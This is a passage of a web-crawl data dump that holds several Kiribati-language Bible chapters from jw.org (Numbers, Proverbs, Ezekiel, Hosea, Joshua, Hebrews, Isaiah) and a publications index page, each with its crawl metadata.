ma te aomata ae kaain te utu man ana baronga tamaia. 7 Akea tibwangaia tibun Iteraera ae riai n nako man te baronga teuana nakon te baronga teuana, bwa a riai tibun Iteraera n taui tibwangan aia baronga aia bakatibu. 8 Ao a riai naati aine nako ake iai tibwangaia i buakon aia baronga tibun Iteraera, ni buuna te aomata ae kanoan aia baronga tamaia,+ bwa a aonga n teimatoa tibun Iteraera ni bwaibwai n tibwangaia aia bakatibu. 9 Akea te tibwanga ae riai n nako man te baronga teuana nakon te baronga teuana, bwa a riai aia baronga tibun Iteraera n taui oin tibwangaia.'\" 10 A karaoa are e tua Iehova nakoni Mote natin Terobeata ake aine.+ 11 Mangaia are a mare Maara, Tireta, Okera, Mireka, ao Noa, ake natin Terobeata aine,+ ma natiia tarin nako tamaia. 12 A riki bwa buuia mwaane ake mai buakoia ana utu Manate are natin Ioteba, bwa e aonga n tiku tibwangaia n ana baronga tamaia. 13 Aikai tuua ma mooti ake e anga Iehova nakoia tibun Iteraera rinanoni Mote, n rereuani Moaba ake a aoraoi i rarikin te Ioretan n uakaan ma Ieriko.+\nKo tangiria ni wareka te kaongora aei n %%?\nKAREKEI N AEKAIA AIKAI\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nTibwaia\nKiribati\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nhttps:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg\n-\nTibwaiaTibwaiaKiribatiTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/warekaia-iteraera\/36\/","date":"2018-02-21T09:52:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891813602.12\/warc\/CC-MAIN-20180221083833-20180221103833-00799.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":463,"character_repetition_ratio":0.103,"word_repetition_ratio":0.07,"special_characters_ratio":0.225,"stopwords_ratio":0.363,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Rongorongo Aika Kakaongora\nWareki ke karekei man te Intanete maekatin aika boou aika te Taua-n-Tantani ao te Awake! aika oti i nano. Ongoraei bwanaa aika raweaki i aoni baika ti katauraoi, n taetae aika bati. Mataku ke karekei man te Intanete taamnei n taetae aika bati, n ikotaki naba ma taian taetae n te bai aika kakaokoro\nMaekatin\nTE TAUA-N-TANTANI\nNa. 2 2018\nTE TAUA-N-TANTANI (KAONGORA IBUKIN TE REIREI)\nMei 2018\nNa. 1 2018 | Te Kawai Nakon te Kukurei\nTaratara!\nBOOKI RIKI TABEUA\nE Kona ni Kakukurei Am Utu\nTe Rongorongo Ae Raoiroi Mairoun te Atua!\nTera Reireiara Man te Baibara?\nWhat Happens at a Bible Study?\nWhat Happens at a Bible Study?\n2017-2018 Te Kaetieti Ibukin te Runga—Ma Te Mataniwi n te Aono\n2017-2018 Te Kaetieti Ibukin te Runga—Ma Te Tia Tei Man te Aobiti n Tararua\nE Kakamaiuia Ana Aomata Iehova\nKarekea Reireiam Man te Baibara\nNeneran te Baibara ni Katoabong—2018\nNeneran te Baibara ni Katoabong—2018\nBaireaki Ibukini Karaoan Nanon Iehova\nBaireaki Ibukini Karaoan Nanon Iehova\nBaika Kaotinakoaki n te Bwabwaro\nMataku ke karekei man te Intanete baika kaotinakoaki ni katoaa mwini banen te bong teuana ma teuana ni bongin te bwabwaro.\nA na aki oti ni booki aika boreetiaki baika boou tabeua ake iai ni booki i aon te intanete","id":"","dump":"CC-MAIN-2018-09","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/","date":"2018-02-22T02:09:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-09\/segments\/1518891813832.23\/warc\/CC-MAIN-20180222002257-20180222022257-00481.warc.gz","language":"gil","language_score":1.0000091791,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000091791152954}","num_words":206,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.224,"stopwords_ratio":0.359,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"6 Natiu, ngkana ko a tia ni kariaia bwa ko na tabena kabwaraan ana taarau raom n aomata,+Ke ngkana ko a tia n iobai* ni boraraoi ma te ianena,+ 2 Ngkana ko a tia ni mwane n am berita,Ni mwane n ana taeka wim,+ 3 Karaoa aei natiu, ao ko na inaomata,Bwa ko a bwaka nako nanoni bain raom n aomata: Naako kananorinanoko ao bubutiia raom n aomata.+ 4 Tai kariaia matam bwa a na matu,Ke kunin matam bwa a na nimatutu. 5 Kainaomatako n aron te katere* mai bain te tia kaeman,Ao n aron te mannikiba mai bain te tia kamwaneia mannikiba. 6 Naako nakon te kinnongo, ngkoe ae ko taningaroti,+Taratarai arona ao ko na wanawana. 7 E ngae ngke akea ana mataniwi, ana tia kairiri, ke ana tia tautaeka, 8 Ma n tain te tai ao e kakatauraoi kanana+Ao n ikoikotii baika e rereke mai iai kanana. 9 E na maanra riki wenem ikanne ngkoe ae ko taningaroti? Ko na teirake n ningai mani matum? 10 Ai tii teutana riki te matu, ai tii teutana riki te nimatutu,Ai tii teutana riki botani baim ni motirawa,+ 11 Ao e a roko naba karakon am bwai n aron te tia kamwarua,Ao kainnanom n aron te mwaane ae a toamau ana bwai ni buaka.+ 12 Anuan te mwaane ae akea uaana ao ae e buakaka, bon te taetaenikawai ae babakanikawai.+ 13 E kakeea matana,+ e karaoi kanikina ni waena, ao e kakammwakurii tabonibaina. 14 E aki raoiroi nanona,Ao e aki toki ni bairea iai te buakaka+ ma ni karikii itabarara.+ 15 Mangaia ae e na rina ni kabuanibwai,Ao e na ruanikai n tii teuana te tekan ao e aki kona ni kamarurungaki.+ 16 Iai bwaai aika onoua aika e riribai Iehova,Eng, bon itiua bwaai aika e* taboribai: 17 Maata aika kainikatonga,+ te newe ae kewekewe,+ ao baai aika katutua raraan te aomata ae akea ana bure,+ 18 Te nano ae iangoi babaire aika rangi ni bubuaka,+ ao waae aika waekoa ni biri nakon te buakaka, 19 Te tia kakoaua ni kewe ae tataekini keewe,+Ao ane e kauekei itabarara i buakoia taari.+ 20 Natiu, kakairi n ana tua tamam,Ao tai kaaki taekan ana kaetieti* tinam.+ 21 Kawakini baikai i nanom n taai nako,Ao kabaei i roroam. 22 Ngkana ko ririaki ao e na kaiririko,Ngkana ko wene ao e na tei i etam n tantani,Ao ngkana ko uti ao e na taetae nakoim.* 23 Bwa te kaetieti bon te taura,+Ao te tua bon te oota,+Ao boaakin te aba ma te reirei ni kaetieti bon te kawai nakon te maiu.+ 24 A na kawakiniko mairoun te aine ae buakaka,+Ao man ana karang newen te aine ae kammaira.*+ 25 Tai mataaiakina tikiraoina i nanom,+Ao tai kariaia bwa e na anaa nanom ni matana ni kabwakabwaka, 26 Bwa e a kerikaaki kaubwain te mwaane nakon ae tii teuana te kariki, ibukin te aine ae kakabooaki.+ Ma e kamwanea te maiu* ae rangi ni kakawaki te buu te aine ae wewene ni kimoa. 27 E kona te mwaane ni kaaki te ai i aoni bwabwaana ao a aki bue kunnikaina?+ 28 Ke e kona te mwaane n nakonako i aon taiani mwaakaro aika bue ao a aki bue waena? 29 Ai bon tii te arona naba ma te mwaane ae wene n taanga ma buun raona,Ane e ringa neiei e na katuuaaeaki.+ 30 A aki ribaa te tia iraa aomata,Ngkana e iraa bwa e na kanuaia ngkana e baki. 31 Ma ngkana e kuneaki, e na kaboomwi ni kaitiua boona,Ao e na anga baika kakawaki ni kabane ake n ana auti.+ 32 E aki ataa ae riai* ane e wene ni kimoa ma te aine,Ao e na karokoa te kabuanibwai i aona ane e karaoa anne.+ 33 E na tii reke irouna te rawawata ma te bwaibwainrang,+Ao e na aki kamaunaaki kamaamaeana.+ 34 Bwa te kokoo e karika te marakinnano ae bati iroun te buu te mwaane,Ao e na aki kaota te nanoanga ngkana e karekekai.+ 35 E na aki butimwaea te bwai ni kan raoi,*E na aki kona n raoiakinaki n aki ongeia bwa buburara te bwaintangira are ko karaoia.\nKo tangiria ni wareka te kaongora aei n %%?\nKAREKEI N AEKAIA AIKAI\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nTibwaia\nKiribati\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nhttps:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg\n-\nTibwaiaTibwaiaKiribatiTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/taeka-n-rabakau\/6\/","date":"2018-03-24T10:26:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257650188.31\/warc\/CC-MAIN-20180324093251-20180324113251-00096.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":695,"character_repetition_ratio":0.048,"word_repetition_ratio":0.006,"special_characters_ratio":0.246,"stopwords_ratio":0.422,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"10 Ngke I mataku, ao I nora i etan te bao are i etan atuia kerubim,* te bae kaanga te atibu ae te tabeiro,* ae kaoti i etaia, ao taraana kaanga ai aron te kaintokanuea.+ 2 Ao e taku te Atua nakon teuare kunnikainna n te rinen:+ \"Rinnako i marenani wira aika minomino,+ i aaia kerubim, ao kaoni baim ni kauaai ni mwaakaro n ai+ akana i marenaia kerubim, ao karenakoi riaon te kaawa.\"+ Mangaia are e rinnako ngke I mataku. 3 A tei kerubim i angaatain te tembora ngke e rin teuarei, ao e on te katawanang are mai nanona n te nang. 4 Ao e waerake mimitongin Iehova+ mairouia kerubim nakoni mataroani kawain te tembora, ao e a tabe n on te tembora n te nang,+ ao e a onrake te katawanang n ootani mimitongin Iehova. 5 Ao e kona n ongo te aba man te katawanang are mai tinaniku, karongoaani baia ni kiba kerubim, ae ai aroni karongoaan te Atua ae Moan te Mwaaka ngkana e taetae.+ 6 Ao e tua nakon teuare kunnikainna n te rinen ni kangai: \"Anaa te ai mai marenani wira aika minomino, mai marenaia kerubim,\" ao e rin teuarei ao e tei i rarikin te wira. 7 Ao e arora baina temanna i buakoia kerubim nakon te ai are i marenaia kerubim.+ E anaa teutana ao e kaaki i bain teuare kunnikainna n te rinen ni kauaai,+ are e a anaia ngkai ao e otinako. 8 Taraaia kerubim aikai, iai baia aika kaanga bain te aomata, i aani baia ni kiba.+ 9 Ngke I mataku, ao I nori wira aika aua i rarikia kerubim, kaka teuana te wira i rarikia kerubim n tatabemania nako, ao taraani wira aikai a raneanea n ai aron te atibu ae te kerutorito.*+ 10 Ni kaineti ngkanne ma taraaia, titeboo taraaia ni kaaua, kaanga ai aron ae te wira teuana e bangaki i nanon te wira teuana. 11 Ngkana a mwaing, ao a kona ni buti nakon itera ake aua n aki raraibwakee, ibukina bwa a nanako n te tabo are e kaitaraa atuia kerubim,* n aki raraibwakee. 12 Ao rabwataia ni kabane, nukaia, baia, baia ni kiba, ao taiani wira ake aia wira ngaiia ni kaaman, a on ni maata ni kabutaa.+ 13 Ni kaineti ngkanne ma taiani wira, I ongo te bwanaa ae takarua nakoia ni kangai, \"Wira aika Minomino!\" 14 Kaka* aua ubuia. Ubuia are te moan bon ubun te kerubim, ubuia are te kauoua bon ubun te mwaane,* te katenua bon ubun te raian, ao te kaaua bon ubun te ikare.+ 15 Ao a mwemwerake kerubim aikai—boni baike a maiu* ake I noriia naba i rarikin te karaanga are Keebara+— 16 ao ngkana a mwaing kerubim, a mwaing naba wira aikai ma ngaiia, ao ngkana a tabekirake baia ni kiba kerubim ni karietatai i etan te aba, ao a aki raraibwakee wira ke ni mwaing mai rarikia.+ 17 Ngkana a tei n aki kakammwakuri ao a tei naba n aki kakammwakuri baikai, ao ngkana a mwemwerake ao a mwemwerake naba baikai ma ngaiia, bwa te taamnei are mwamwakuri i aoni baika maiu e mena naba ni wira aikai. 18 E a kitana ngkanne aoni mataroani kawain te tembora mimitongin Iehova,+ ao e a tei n aki kakammwakuri i aoia kerubim.+ 19 A tabekirake ngkai baia ni kiba kerubim ao a a mwemwerake mai aontano, ngke I mataku. A mena naba i rarikia taiani wira ngke a nako. A toki n te kawai n rin are ni mataroan oon ana tembora Iehova mai mainiku, ao e mena mimitongin Atuan Iteraera i etaia.+ 20 Boni baika maiu* baikai ake I nori i aan ana kaintokanuea Atuan Iteraera, i rarikin te karaanga are Keebara,+ mangaia are I a ataia bwa boni kerubim. 21 A bane n toa ma ubuia aika kaka aua, kaka aai baia ni kiba, ao a mena i aani baia ni kiba baika kaanga taraani bain te aomata.+ 22 Ao taraan ubuia bon ai aron ubu ake I nori n te karaanga are Keebara.+ A mwamwananga ni kaineta mooa n tatabemania nako.+\nKo tangiria ni wareka te kaongora aei n %%?\nKAREKEI N AEKAIA AIKAI\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nTibwaia\nKiribati\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nhttps:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg\n-\nTibwaiaTibwaiaKiribatiTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/etekiera\/10\/","date":"2018-03-20T06:37:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257647299.37\/warc\/CC-MAIN-20180320052712-20180320072712-00716.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":703,"character_repetition_ratio":0.06,"word_repetition_ratio":0.006,"special_characters_ratio":0.239,"stopwords_ratio":0.405,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"10 \"Bon te kai ae te kureebe ae e a rikirake ni buakaka* Iteraera ae e karikii uaana.+ Ngkana e a bati riki uaana ao e a kabatiai riki ana baonikarea.+ Ngkana a a raoiroi riki uaan abana ao a a tamaroa riki ana boua aika tabu.+ 2 E mwamwanaa te aba* nanoia,Ao a nang reke ngkai n te bure. Iai temanna ae e na urui aia baonikarea ao ni kamaunai aia boua. 3 A nang kangai ngkai, 'Akea ara uea,+ bwa ti aki maaka Iehova. Ao tera ae e kona ni karaoia ibukira te uea?' 4 A taekin taeka aika akea uaaia, a taetae n tuea ni kewe,+ ao ni karaoi berita. Mangaia ae e na teberake te motikitaeka n aron uteute aika boitin n te tawaana ae kamarauaki tanona.+ 5 A na tabeaianga ibukin te kao te teei ae bouannantin Betaawen+ kaain Tamaria,Ao a na nanokawaki ibukin te baei naake bon ana aomata. Ao ai aroia naba ibonga ake ibukin te atua ae ianena, ake a kimwareirei ibukina ao ibukini karineana. Bwa e nangi nako mairouia ni kataenikaiaki. 6 E na uotaki nako Aturia bwa te bwaintangira nakon te uea ae kakannato.+ E na kamaamaeaki Eberaim,Ao e na maamaa Iteraera ibukin te taeka n reirei are e kakairi iai.+ 7 E na boni kamaunaaki* Tamaria ma ueana,+N aron te mwaanga ae mwaoto ae mena i aon te ran. 8 A na boni kamaunaaki+ taabo aika rietata i Betaawen,+ are ana bure Iteraera.+ A na rikirake aroka aika kateketeke ao kaai aika kateketeke i aon aia baonikarea.+ Ane a na kangai aomata nakoni maunga, 'Rabunira!' Ao nakon taian tabuki, 'Bwakarira!'+ 9 Ko bure ngkoe ae Iteraera man ana bong Kibea.+ A imanono ikanne. A aki kauiaaki* n te buaka natin te buakaka i Kibea. 10 N na reireinia naba ni kaetiia ngkana I kukurei. Ao a na ikotaki botannaomata n ekiianako,Ngkana e a rawawata i aoia* aia bure ake uoua. 11 Bon te kao aine ae kataneiaaki Eberaim, ae kani kaaki kunin te uita, Mangaia are I karekea maiun roroana ae tamaroa. Ma N nang katokaa ngkai te aomata temanna i aon* Eberaim.+ E na kamarautano Iuta ma e na kamtea te tano Iakoba ibukina. 12 Uniki koraa i bon ibukimi n te raoiroi, ao taia te tangira ae koaua.* Kamaraua i bon ibukimi tanon te aba n ununiki,+Ngkai iai te tai n ukoukora Iehova,+Ni karokoa ae e roko ao n reireiningkami n te raoiroi.+ 13 Ma kam a tia ni kamaraua tanon te buakaka,Ao kam a tia n taia te bwai ae aki raoiroi,+Ao kam a tia ni kana uaan te mwamwanaa te aba. Bwa kam onimakin oini kawaimi,Ao ami tia buaka aika mwaitikurikuri. 14 E na teirake te kiriwe n ekiianako ami aomata,Ao a na bane n uruakaki am kaawa aika nonoaki,+ N aron uruakan Arebera iroun Tiareman,N te bong ni buaka are a tiringaki iai tiina n te aro ae iowawa ma natiia. 15 Anne te bwai ae e na karaoaki nakoimi ngkami aika kaaini Betaera+ ibukin taekinan te buakaka iroumi. E na boni katiaaki aron* uean Iteraera ngkana e tabwena mainiku.\"+\nKo tangiria ni wareka te kaongora aei n %%?\nKAREKEI N AEKAIA AIKAI\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nTibwaia\nKiribati\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nhttps:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg\n-\nTibwaiaTibwaiaKiribatiTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/otea\/10\/","date":"2018-03-24T04:54:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257649683.30\/warc\/CC-MAIN-20180324034649-20180324054649-00653.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":547,"character_repetition_ratio":0.052,"word_repetition_ratio":0.007,"special_characters_ratio":0.234,"stopwords_ratio":0.419,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"20 E taku ngkanne Iehova nakon Iotua: 2 \"Tuangia tibun Iteraera ni kangai, 'Rinei ami kaawa ni kamanomano+ ake I taekin taekaia ngkoa nakoimi rinanoni Mote, 3 bwa e aonga ni birinako nako iai te tia tiriaomata ae kamatea te aomata* n tiaki nanona ke n te aro ae karina n riki.* Ao a na riki bwa taabo ni kamanomano ibukimi mairoun te tia irantangaa te raraa.+ 4 E riai ni birinako nakon teuana mai buakoni kaawa aikai+ ao n tei i rarikini mataroan oon te kaawa,+ ao ni kaota arona i mataia unimwaanen te kaawa anne. Ao a na butimwaeia ni karinna n te kaawa ma n anganna ana tabo, ao e na maeka i rarikia. 5 Ngkana e kaeaki iroun te tia irantangaa te raraa, ao a aki riai unimwaane n anga te tia tiriaomata anne nako nanoni baina, bwa e kamatea raona n aomata n te aro ae karina n riki,* ao e bon aki riribaia mai mwaina.+ 6 E na maeka n te kaawa anne ni karokoa ae e kaetaki taekana i matan te botaki n aomata,+ ao e na tiku ikanne ni karokoa maten te ibonga ae rietata*+ are taua te nakoa n te tai anne. Imwina ao e a kona te tia tiriaomata n okira te kaawa are e birinako mai iai, ao e a kona n rin n ana kaawa ao n ana auti.'\"+ 7 Mangaia are a katabua* Keteti+ are i Kariraia are n aonon Nabetari ae maungaunga, Tekem+ are n aonon Eberaim ae maungaunga, ao Kiriataareba+ ae taekan Eberon, n aonon Iuta ae maungaunga. 8 Ao n aonon te Ioretan i mainikun Ieriko, a rinea Betera+ are n te rereua n te tabo ae aoraoi* man te baronga are Reuben, Ramota+ are i Kireata man te baronga are Kata, ao Koran+ are i Batian man te baronga are Manate.+ 9 Boni kaawa aikai aika rineaki ibukia tibun Iteraera ni kabane ao ibukia aomata aika maeka n iruwa i buakoia, bwa e aonga ni kona ni birinako nako iai ane e kamatea te aomata* n tiaki nanona,+ ao n aki mate ni bain te tia irantangaa te raraa, imwain ae e kaetaki taekana i matan te botaki n aomata.+\nKo tangiria ni wareka te kaongora aei n %%?\nKAREKEI N AEKAIA AIKAI\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nTibwaia\nKiribati\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nhttps:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg\n-\nTibwaiaTibwaiaKiribatiTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/iotua\/20\/","date":"2018-03-18T18:05:37Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257645830.10\/warc\/CC-MAIN-20180318165408-20180318185408-00241.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":404,"character_repetition_ratio":0.057,"word_repetition_ratio":0.015,"special_characters_ratio":0.238,"stopwords_ratio":0.45,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"5 Bwa te ibonga* ae rietata are e rineaki mai buakoia aomata, e mwiokoaki bwa e na beku ibukia aomata ni kaineti ma aia taromauri nakon te Atua,+ bwa e aonga n anga bwaai n tituaraoi ma karea ibukini buure.+ 2 E kona n nanoangaiia aika ronnano aika karaoa ae kairua,* kioina ngkai e mamaara naba, 3 ao ibukin anne e riai n angakarea ibukin oin ana bure n aron ae e karaoia naba ibukin aia bure aomata.+ 4 E aki karekea te nakoa ae rine aei te aomata i bon irouna, ma e karekea tii ngkana e rineaki iroun te Atua, n aron naba Aaron.+ 5 Ao ai aron naba Kristo, bwa e aki kamimitongnga i bon irouna+ n riki bwa te ibonga ae rietata,* ma e kamimitongaki iroun Teuare kangai nakoina: \"Bon natiu ngkoe, ao n te bong aei I a riki bwa tamam.\"+ 6 N aron naba are e taekinna n te tabo teuana ni kangai, \"Bon te ibonga ngkoe n aki toki n aroni Merekitereka.\"+ 7 Ngke e mena Kristo i aon te aba,* ao e kakorakoraa n tataro ni bubutii ma te korakai ao te tang,+ nakon Teuare kona ni kamaiua man te mate, ao e ongoraeaki ana tataro ibukini maakakin te Atua irouna. 8 E ngae ngke bon te nati ngaia, ma e reireinna te ongeaba mani baike e maraki iai.+ 9 Ao ngke e a tia ni kakororaoaki raoi arona+ ao e a mwiokoaki bwa te kawai ibukin te kamaiu ae akea tokina ibukia aomata nako ake a ongeaba irouna,+ 10 ibukina bwa e rineaki iroun te Atua bwa te ibonga ae rietata n aroni Merekitereka.+ 11 A bati baika ti kan taekin ibukina, ma e kangaanga kabwarabwaraaia ibukina bwa kam waeremwe n ota. 12 Bwa e ngae ngke kam riai n tia n riki bwa taan angareirei n te tai aei, ma kam a manga kainnanoa temanna bwa e na reireiningkami ni moan rongorongo+ ake mairoun te Atua, ao kam a manga okiri aromi ni kainnanoa te rannimamma, ao tiaki te amwarake ae matoatoa. 13 Bwa ane e teimatoa n amwarake n te rannimamma, ao e aki ataa ana taeka ae raoiroi te Atua, bwa bon te teei ngaia.+ 14 Ma te amwarake ae matoatoa boni kanaia aomata aika ikawai, ake te koraki ake a kakabongana aia atatai ao a kataneiaaki iai bwa a na ataa ae eti ao ae kairua.\nKo tangiria ni wareka te kaongora aei n %%?\nKAREKEI N AEKAIA AIKAI\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nTibwaia\nKiribati\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nhttps:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg\n-\nTibwaiaTibwaiaKiribatiTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/ebera\/5\/","date":"2018-03-21T23:20:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257647706.69\/warc\/CC-MAIN-20180321215410-20180321235410-00253.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":431,"character_repetition_ratio":0.057,"word_repetition_ratio":0.009,"special_characters_ratio":0.237,"stopwords_ratio":0.427,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"35 E na kakatonga te rereua ma te aba ae mwauteretere,+Ao e na kimwareirei te rereua ae aoraoi ao e na onrake n te uee ae te taberon.+ 2 E na bon uee,+E na kakatonga ao n takarua ni kimwareirei. E na anganaki karinean Rebanon+Ao tamaroani Karemera+ ma Tiaron.+ Ane a na nora mimitongin Iehova, ae tamaroan Atuara. 3 Kakorakorai baai aika mamaara,Ao kamatoai bubuaniwae aika ruru.+ 4 Kangai nakoia te koraki aika tabeaianga nanoia: \"Kam na korakora. Tai maaku. Noria! E na roko Atuami ma te karekekai,E na roko te Atua ma te katuuaa.+ E na roko ao e na kamaiuingkami.\"+ 5 N te tai anne ao a na kaureaki mataia aomata aika mataki,+Ao a na kaukaki taningaia aomata aika bonotaninga.+ 6 N te tai anne ao e na ewewe te mwauku n aron te ria,+Ao e na takarua ni kimwareirei newen ane e baennewe.+ Bwa a na koburake raan n te rereua,Ao karaanga n te rereua ae aoraoi. 7 E na riki te tabo ae mwauteretere imwin te kabuebue bwa te nei ni maunei,Ao te tano ae bwatakataka bwa taiani koburake n ran.+ E na riki te uteute ae kiriin, te maunei, ao te aroka ae riiriki n te ran,*I nanoni bwangaia tiakaore* ake a momotirawa iai.+ 8 E na mena ikanne te kawai ae totouaki,+Eng, te kawai ae arana Kawain te Tabu. E na aki mwananga i aona te aomata ae kamwara.+ E kaokoroaki ibukin te aomata ae nakonako n te kawai,Ao akea te aomata ae nanobaba ae e na tiotionako nako aona. 9 E na akea te raian ikanneAo akea maan aika moaanti aika tiritiri aika a na roko i aona. A na aki reke ikanne,+Ma tii te koraki aika manga kabooaki aika a na nakonako ikanne.+ 10 A na oki ao n nako Tion ma te tang ni kimwareirei+ te koraki ake a a manga kabooaki iroun Iehova.+ A na baunaki atuia n te kimwareirei ae akea tokina.+ E na riki te kakatonga ma te kukurei bwa aia bwai,Ao e na birinako te nanokawaki ma te ikenrawa.+\nKo tangiria ni wareka te kaongora aei n %%?\nKAREKEI N AEKAIA AIKAI\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nTibwaia\nKiribati\nTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)\nhttps:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg\n-\nTibwaiaTibwaiaKiribatiTe Baibara ae Tabu—te Rairai ae te Aonnaba ae Boou (2013)https:\/\/assetsnffrgf-a.akamaihd.net\/assets\/a\/nwt\/GB\/wpub\/nwt_GB_lg.jpg","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/itaia\/35\/","date":"2018-03-20T21:44:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257647545.54\/warc\/CC-MAIN-20180320205242-20180320225242-00673.warc.gz","language":"gil","language_score":1.0000097752,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000097751617432}","num_words":378,"character_repetition_ratio":0.062,"word_repetition_ratio":0.011,"special_characters_ratio":0.238,"stopwords_ratio":0.492,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"4 Mangaia ae kioina ngkai iai te berita ibukia ana aomata te Atua bwa a na ibuokanibwai n ana motirawa, ao ti na taratara raoi* bwa e kaawa temanna i buakomi n atongaki bwa e aki tau ibukin anne.+ 2 Bwa e a 